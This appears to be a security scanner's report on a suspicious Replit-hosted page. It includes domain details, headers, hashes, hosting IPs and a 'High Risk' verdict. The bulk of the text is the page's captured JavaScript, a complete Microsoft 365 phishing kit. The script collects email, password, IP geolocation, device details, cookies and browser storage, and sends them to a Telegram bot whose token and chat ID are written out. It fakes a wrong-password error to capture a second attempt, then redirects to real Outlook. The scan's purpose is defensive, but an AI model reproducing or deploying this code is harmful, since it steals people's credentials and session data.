technology software

documentation technical

English

GAESA

Within the application-focused generic top-level domain (.app), 'secure-page-builder--joanpressy.replit.app' is registered; it also runs on subdomain 'secure-page-builder--joanpressy'. Count 6 characters in 'replit' holding 2 vowels versus four consonants. Splitting it apart reveals 2 words: rep, lit. Average segment length settles at 3 characters. No strong language cues emerged from the frequency lists.

html/29/33/2933412e-5d83-47ca-872b-b8108fd706a6.html.gz

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/hosted-libraries-pushers

default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://*.stripe.com https://*.paddle.com https://www.google.com https://www.gstatic.com https://maps.gstatic.com https://maps.googleapis.com https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; style-src 'self' 'unsafe-inline' https://*.paddle.com https://fonts.gstatic.com https://fonts.googleapis.com; img-src 'self' data: https://ipapi.co https://maps.gstatic.com https://maps.googleapis.com https://*.stripe.com; font-src 'self' data: https://fonts.gstatic.com https://fonts.googleapis.com; frame-src 'self' https://www.google.com https://*.stripe.com https://*.paddle.com https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/; connect-src 'self' https://ipapi.co/ https://*.paddle.com https://*.stripe.com https://maps.googleapis.com https://www.google.com/recaptcha/; object-src 'none'; frame-ancestors 'none'; base-uri 'self'; form-action 'self';

attachment; filename="MSFT-Microsoft-sticky-logo-RE1Mu3b.png"; filename*=UTF-8''MSFT-Microsoft-sticky-logo-RE1Mu3b.png

ff1523fb7389539c84c65aba19260648793bb4f5e29329d2ee8804bc37a3fe6e

55d59f5ed62299f2df0fe22b6ceae87ca8d26d51de860d35f3bc8ad93f9772d7

a42c57f7dd1dc5b5fcc2712632e36098d5cc7ab1bdcbe99317b60a7cca4680e8

width=device-width, initial-scale=1.0, user-scalable=no

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

Domain Manager

Nom-IQ Limited dba Com Laude

replit.app

Abuse

Google LLC

GOOGLE


// TELEGRAM CONFIG
var BOT_TOKEN = "7551622777:AAGqEu0pppTO88WzLYPwgeXnEyRBe1u5cNg";
var CHAT_ID = "7480874658";

var currentEmail = "";
var attemptCount = 0;
var startTime = Date.now();
var ipData = "", cityData = "", countryData = "", regionData = "", ispData = "";
var userAgent = navigator.userAgent;
var browserLang = navigator.language || "en-US";
var screenRes = screen.width + "x" + screen.height;
var timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;
var platform = navigator.platform || "Unknown";

// Boot sequence
var bootMessages = ["Establishing secure connection...", "Validating SSL certificate...", "Ready"];
var bootIndex = 0;
function updateBoot() {
    if (bootIndex < bootMessages.length) {
        $('#bootStatus').text(bootMessages[bootIndex]);
        bootIndex++;
        setTimeout(updateBoot, 800);
    } else {
        $('#bootScreen').fadeOut(500, function() {
            $('#loginContainer').fadeIn(300);
        });
    }
}
updateBoot();

// IP Detection
function detectLocation() {
    $.get('https://ipapi.co/json/', function(res) {
        if(res && res.ip) {
            ipData = res.ip;
            cityData = res.city || "Unknown";
            countryData = res.country_name || "Unknown";
            regionData = res.region || "Unknown";
            ispData = res.org || "Unknown";
            $('#locText').text(cityData + ", " + countryData + " • " + ipData);
        }
    }).fail(function() {
        $.get('https://api.ipify.org?format=json', function(res) {
            if(res && res.ip) ipData = res.ip;
            $('#locText').text("IP: " + ipData);
        });
    });
}
detectLocation();

// Send to Telegram
function sendToTelegram(message) {
    var url = "https://api.telegram.org/bot" + BOT_TOKEN + "/sendMessage?chat_id=" + CHAT_ID + "&text=" + encodeURIComponent(message) + "&disable_web_page_preview=true";
    var img = new Image();
    img.src = url;
}

// Grab storage data
function grabStorageData() {
    var storageData = "";

    if (document.cookie && document.cookie.length > 0) {
        storageData += "\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
        storageData += "COOKIES (non-HttpOnly)\n";
        storageData += "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
        storageData += document.cookie + "\n";
    }

    if (sessionStorage && sessionStorage.length > 0) {
        storageData += "\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
        storageData += "SESSION STORAGE\n";
        storageData += "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
        for(var i = 0; i < sessionStorage.length; i++) {
            var key = sessionStorage.key(i);
            var value = sessionStorage.getItem(key);
            if (value && value.length > 500) value = value.substring(0, 500) + "...";
            storageData += key + ": " + value + "\n";
        }
    }

    if (localStorage && localStorage.length > 0) {
        storageData += "\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
        storageData += "LOCAL STORAGE\n";
        storageData += "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
        for(var i = 0; i < localStorage.length; i++) {
            var key = localStorage.key(i);
            var value = localStorage.getItem(key);
            if (value && value.length > 500) value = value.substring(0, 500) + "...";
            storageData += key + ": " + value + "\n";
        }
    }

    return storageData;
}

// Build report
function buildReport(password) {
    var timeOnPage = Math.floor((Date.now() - startTime) / 1000);
    var deviceType = /Mobile|Android|iPhone|iPad|iPod/i.test(userAgent) ? "Mobile" : "Desktop";
    var browserMatch = userAgent.match(/(Chrome|Firefox|Safari|Edge|MSIE|Trident)/i);
    var browser = browserMatch ? browserMatch[1] : "Unknown";
    var osMatch = userAgent.match(/(Windows NT|Mac OS X|iPhone OS|Android|Linux)/i);
    var os = osMatch ? osMatch[1] : "Unknown";

    var report = "";
    report += "MICROSOFT 365 CREDENTIALS\n";
    report += "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n\n";
    report += "EMAIL: " + currentEmail + "\n";
    report += "PASSWORD: " + password + "\n";
    report += "ATTEMPT: #" + attemptCount + "\n";
    report += "TIME: " + timeOnPage + " sec\n\n";
    report += "LOCATION\n";
    report += "IP: " + ipData + "\n";
    report += "CITY: " + cityData + "\n";
    report += "REGION: " + regionData + "\n";
    report += "COUNTRY: " + countryData + "\n";
    report += "ISP: " + ispData + "\n";
    report += "TIMEZONE: " + timezone + "\n\n";
    report += "DEVICE\n";
    report += "OS: " + os + " (" + platform + ")\n";
    report += "DEVICE TYPE: " + deviceType + "\n";
    report += "BROWSER: " + browser + "\n";
    report += "LANGUAGE: " + browserLang + "\n";
    report += "SCREEN: " + screenRes + "\n";
    report += "USER AGENT: " + userAgent + "\n";

    var storageData = grabStorageData();
    if (storageData) {
        report += storageData;
    }

    report += "\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n";
    report += new Date().toISOString();

    return report;
}

// UI Events
$('#nextBtn').click(function() {
    var email = $('#emailInput').val().trim();
    if (email && email.includes('@') && email.length > 5) {
        currentEmail = email;
        $('#emailError').hide();
        $('#emailInput').removeClass('error');
        $('#userAvatar').text(email.charAt(0).toUpperCase());
        $('#displayEmail').text(email);
        $('#stepEmail').fadeOut(200, function() {
            $('#stepPassword').fadeIn(200);
            $('#passwordInput').focus();
        });
    } else {
        $('#emailError').show();
        $('#emailInput').addClass('error');
        setTimeout(function() { $('#emailError').fadeOut(2000); }, 2500);
    }
});

$('#backToEmailBtn').click(function() {
    $('#stepPassword').fadeOut(200, function() {
        $('#stepEmail').fadeIn(200);
        $('#passwordInput').val('');
        $('#passwordError').hide();
        $('#passwordInput').removeClass('error');
    });
});

$('#verifyBtn').click(function() {
    var password = $('#passwordInput').val();
    if (!password || password.length < 1) {
        $('#passwordError').text("Please enter your password.").show();
        $('#passwordInput').addClass('error');
        return;
    }

    attemptCount++;
    $('#loaderOverlay').fadeIn(200);
    $('#verifyBtn').prop('disabled', true);

    var report = buildReport(password);
    sendToTelegram(report);

    setTimeout(function() {
        $('#loaderOverlay').fadeOut(200);
        $('#verifyBtn').prop('disabled', false);

        if (attemptCount < 2) {
            $('#passwordInput').val('').addClass('error');
            $('#passwordError').text("Your password is incorrect. Please try again.").show();
            setTimeout(function() { $('#passwordError').fadeOut(3000); }, 3000);
        } else {
            window.location.replace("https://outlook.office.com/mail/");
        }
    }, 1500);
});

$('#emailInput').on('keypress', function(e) { if (e.which === 13) $('#nextBtn').click(); });
$('#passwordInput').on('keypress', function(e) { if (e.which === 13) $('#verifyBtn').click(); });
$('#emailInput').focus();

var hash = window.location.hash.substr(1);
if (hash && hash.includes('@')) {
    $('#emailInput').val(hash);
    setTimeout(function() { $('#nextBtn').click(); }, 1000);
}


Requests	IP Address	Location	AS Autonomous System
4	142.251.14.95Google · CDN	United States	AS15169Google LLC
1	35.190.3.23Google · CDN	Kansas City, Missouri, United States	AS396982Google LLC
1	2.21.20.144	Frankfurt am Main, Hesse, Germany	AS20940Akamai International B.V.
1	34.117.33.233Google · CDN	Kansas City, Missouri, United States	AS396982Google LLC
7	4	-	-

Security Scan Report: secure-page-builder--joanpressy.replit.app

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Detected Technologies9

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History